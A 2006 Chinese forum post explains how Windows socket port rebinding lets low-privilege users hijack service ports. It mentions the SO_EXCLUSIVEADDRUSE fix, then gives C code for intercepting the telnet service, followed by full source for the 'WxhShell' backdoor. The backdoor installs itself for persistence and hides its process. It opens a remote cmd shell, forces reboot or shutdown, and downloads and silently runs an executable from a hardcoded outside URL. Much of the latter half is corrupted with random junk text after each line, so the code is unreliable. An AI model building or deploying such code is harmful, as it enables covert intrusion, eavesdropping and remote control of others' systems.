[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; f+1@mGt
if(chr[0]==0xd || chr[0]==0xa) { ?AK`M #M
pwd=0; J4u>77I
break; [0vqm:P
} IKV!0-={!z
i++; 0o!mlaU#
} nJ h)iQu
3S" /l
// 如果是非法用户，关闭 socket ,B'fOJ.2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .y<u+)
} |}b~YHTs
N(V_P[]"*,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~LQzt@G4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;GIA`=a%
w[C*w\A\M
while(1) { E+lr{~
Jv}&8D
ZeroMemory(cmd,KEY_BUFF); ?tA%A
W4UK?#S+
// 自动支持客户端 telnet标准 E^A S65%bL
j=0; =#=}|Q}
while(j<KEY_BUFF) { zK&1ti@wln
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,3N>`]Km'
cmd[j]=chr[0]; -E~r?\;X
if(chr[0]==0xa || chr[0]==0xd) { CK1A$$gnz
cmd[j]=0; c0Pj})-
break; -K3d u&j
} U.X`z3q
j++; `][vaLd`Q
} h,n}=g+?
.+kg1=s
// 下载文件 S`$%C=a.
if(strstr(cmd,"http://")) { x-]:g&5T
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t+_\^Oa)
if(DownloadFile(cmd,wsh)) r)#W`A1{A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @<`V q
else Lq;T\m_de
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iD*Hh-
} e9HL)=YP
else { [$;cjys
1\~I "$}
switch(cmd[0]) { Va?i#<a
-DK6(<:0
// 帮助 tDRo)z
case '?': { 8&M<?oe
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T*%rhnTv0
break; O-[
} "{\xBX~oM
// 安装 {Wi*B(
case 'i': { 7'"qW"<
if(Install()) ptrwZ8'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[]I!Bc
else :)i,K>y3i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NU3TXO
break; z~3GgR"1d
} `+rwx
// 卸载 5:jme$BI
case 'r': { FzcXSKHV%
if(Uninstall()) kJpO0k9?eY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]E$NJq|
else vbn=ywz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kDDC@A $
break; \Oq8kJ=
} *hru);OJr
// 显示 wxhshell 所在路径 -fXQ62:S
case 'p': { 1ANFhl(l
char svExeFile[MAX_PATH]; ~\<$H'
strcpy(svExeFile,"\n\r"); /,\U*'-
strcat(svExeFile,ExeFile); e4,SR(O>
send(wsh,svExeFile,strlen(svExeFile),0); w%s];EE
break; |9=A"092{
} ?_d6;
// 重启 !^&VZh
case 'b': { 8["%e#%`$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^3BPOK[*gB
if(Boot(REBOOT)) 5!fOc]]Ow
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0&j90J$`
else { V:'F_/&X?
closesocket(wsh); c8YbBdk'
ExitThread(0); qFwt^w
} icIn>i<m
break; Zp3-Yo w2
} >h)kbsSU0z
// 关机 }x\#ul)
case 'd': { eA86~M?<o
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rx&O}>"E>l
if(Boot(SHUTDOWN)) Er%&y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `MCiybl,&P
else { $8rnf
closesocket(wsh); X=KW >
ExitThread(0); ^)?Wm,{"w
} Te L&6F$
break; 1P(=0\P>&
} @B(oq1i@
// 获取shell Bh'fkW3
case 's': { v:/\;2
CmdShell(wsh); NI#]#yM+
closesocket(wsh); Fz';H
ExitThread(0); aqN{@|
break; \OtreYi
} ~qj(&[U{c\
// 退出 V~[b`&F
case 'x': { 4r7F8*z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m9A%Z bQ^
CloseIt(wsh); 5RN!"YLI3
break; Y4HN1
} &H%/.4la
// 离开 T2S_> #."l
case 'q': { cJaA*sg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =DJ:LmK
closesocket(wsh); '0+~]4&}q
WSACleanup(); H^*AaA9-
exit(1); A6]X aF
break; M,_ $s,
} G|KA!q
} !i~(h&z
} *lvADW5e
'Og@<~/Xy
// 提示信息 ?&#LmeZ}K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bh2l3J4X
} o& FOp'
} }+n|0xK
h8asj0
return; wpM2{NTP
} 6whPW .
?iP7Ki
// shell模块句柄 Pgr2S I
int CmdShell(SOCKET sock) (T#$0RFq
{ qisvGHo
STARTUPINFO si; 63Zu5b"O/
ZeroMemory(&si,sizeof(si)); H]R/=OYBUh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GNMOHqg4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [w'Q9\,p
PROCESS_INFORMATION ProcessInfo; |-}.Y(y
char cmdline[]="cmd"; \)No?fB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H%@f ^
return 0; XqmB%g(
} !vAmjjB
~^' ,4<K-}
// 自身启动模式 dgpE3 37Lt
int StartFromService(void) PiKP.
{ n8<?<-2
typedef struct 9)1Ye
{ Pl/ dUt_
DWORD ExitStatus; c EYHB1*cT
DWORD PebBaseAddress; Gn8sB
DWORD AffinityMask; _GG\SWm
DWORD BasePriority; 9Vm1q!lE
ULONG UniqueProcessId; ][S q^5`
ULONG InheritedFromUniqueProcessId; Dhn7N8(LF!
} PROCESS_BASIC_INFORMATION; nUP, Yd
d=xjLbsZ
PROCNTQSIP NtQueryInformationProcess; _J!^iJ
h5'hP>b#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^1.*NG8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m}wn+R
UA8hYWRP
HANDLE hProcess; losqc *|
PROCESS_BASIC_INFORMATION pbi; [ @eA o>
P0.cF]<m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eZPeyYX
if(NULL == hInst ) return 0; )*]A$\Oc[
R7Y_ 7@p
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X!Z)V)@J8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JPqd}:u3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8<C*D".T$
=%7drBoD
if (!NtQueryInformationProcess) return 0; nXRa_M(z8
L5FOlzn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FYYc+6n
if(!hProcess) return 0; T%eBgseS
skcyLIb
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `MSig)V
cuQ!"iH
CloseHandle(hProcess); &!CVF
t`H1]`c?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }d?;kt
if(hProcess==NULL) return 0; U*r54AyP
" !EnQB=
HMODULE hMod; OZxJDg
char procName[255]; *lSu=dk+
unsigned long cbNeeded; LIcc0w3
[LnPV2@e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /^.S nqk
8${n}}
CloseHandle(hProcess); ;-Yvi,sS+
TWpw/osW
if(strstr(procName,"services")) return 1; // 以服务启动 = J;I5:J
x 7by|G(
return 0; // 注册表启动 z{L'7
} 4{uQ}ea
=-si| 1Z
// 主模块 Nbpn"*L,
int StartWxhshell(LPSTR lpCmdLine) dBXiLrEbs
{ [~{F(Le
SOCKET wsl; 72sqt5C]
BOOL val=TRUE; 2o?j{K
int port=0; U80=f2
struct sockaddr_in door; ,j*9)
i=Qy?aU?
if(wscfg.ws_autoins) Install(); '8;bc@cE
xvOz*vM?
port=atoi(lpCmdLine); > ubq{'
7\ _MA!:<
if(port<=0) port=wscfg.ws_port; f7_(C0d
?y-^Fq|h
WSADATA data; TGF$zvd
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [K3 te
ev$:7}h=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F\DiT|?}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F$as#.7FF
door.sin_family = AF_INET; X hq ss),
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H@uu;:l<7A
door.sin_port = htons(port); x2B8G;6u
`}?;Ow&2CY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QOXo(S
closesocket(wsl); 3lp'U&3`5
return 1; Lm4`O%
} J>A9]%M
01?+j%k=m/
if(listen(wsl,2) == INVALID_SOCKET) { aoey 5hts
closesocket(wsl); GmB&TDm
return 1; ,&UKsrs_
} a dqS.xs
Wxhshell(wsl); ,->K)Rs;
WSACleanup(); So&gDR;b
/"Vd( K2Z
return 0; XjN4EDi+E
x &R9m,
} QR&e~rks
_^BA;S@
// 以NT服务方式启动 ^K<3_D>1>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "/zgh
{ b{<?E };%
DWORD status = 0; RzqgN*]lY
DWORD specificError = 0xfffffff; -hXKCb4YU
T aS1%(
serviceStatus.dwServiceType = SERVICE_WIN32; KkCGL*]K
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |cU75 S1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %aNm j)L
serviceStatus.dwWin32ExitCode = 0; <Z%=lwtX
serviceStatus.dwServiceSpecificExitCode = 0; ,\6Vb*G|E>
serviceStatus.dwCheckPoint = 0; 712nD ?>
serviceStatus.dwWaitHint = 0; +aOdaNcI
%LrOGr
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L?h?LZnq
if (hServiceStatusHandle==0) return; s0iG|vw
Ey:68yU
status = GetLastError(); tB4mhX|\
if (status!=NO_ERROR) $P{`-Y }a
{ "-=fi 'D
serviceStatus.dwCurrentState = SERVICE_STOPPED; =Dq&lm,n
serviceStatus.dwCheckPoint = 0; e\V -L_
serviceStatus.dwWaitHint = 0; ]6e(-v!U
serviceStatus.dwWin32ExitCode = status; Jc#D4e1#
serviceStatus.dwServiceSpecificExitCode = specificError; r?/Uu &
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {U;yW)
return; |6Q5bV
} 8* A%k1+
v@=qVwX
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5GM-*Ak@
serviceStatus.dwCheckPoint = 0; wyy 1M+
serviceStatus.dwWaitHint = 0; K83'`W^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D6L+mTN
} aZb\uMePK
;eYG\uKC{
// 处理NT服务事件，比如：启动、停止 9vV==A#
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3&y-xZu]
{ AXlVH%'
switch(fdwControl) S~3|1Hw*tN
{ Rge>20uTl$
case SERVICE_CONTROL_STOP: wOf8\s1
serviceStatus.dwWin32ExitCode = 0; tKV,
serviceStatus.dwCurrentState = SERVICE_STOPPED; "J"=<_?
serviceStatus.dwCheckPoint = 0; R,BJr y
serviceStatus.dwWaitHint = 0; Z[nHo'
{ p}QDX*/sSu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WwB_L.{
} [OCjYC`
return; e{E\YEc
case SERVICE_CONTROL_PAUSE: 2fTuIS<yr
serviceStatus.dwCurrentState = SERVICE_PAUSED; 86=W}eV1r
break; blQ&QQL
case SERVICE_CONTROL_CONTINUE: i%FC lMF
serviceStatus.dwCurrentState = SERVICE_RUNNING; MDF_Xr-hZ
break; O(/~cQ
case SERVICE_CONTROL_INTERROGATE: }&vD(hX
break; yP{ 52%|+
}; *\XOQWrF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I;w!
} B$g\;$G
-FJ3;fP&
// 标准应用程序主函数 8m{e,o2.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;}E}N:A
{ NF&Sv
~LS</_N
// 获取操作系统版本 r &.~ {
OsIsNt=GetOsVer(); JN/=x2n.
GetModuleFileName(NULL,ExeFile,MAX_PATH); UfX~GC;B
zcP=+Y)YA
// 从命令行安装 c]uieig0~
if(strpbrk(lpCmdLine,"iI")) Install(); tpGT~Y(
ye.6tlW
// 下载执行文件 %C/p+Tg
if(wscfg.ws_downexe) { #%[;vK
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fl_}Auj{&(
WinExec(wscfg.ws_filenam,SW_HIDE); fn,n'E]
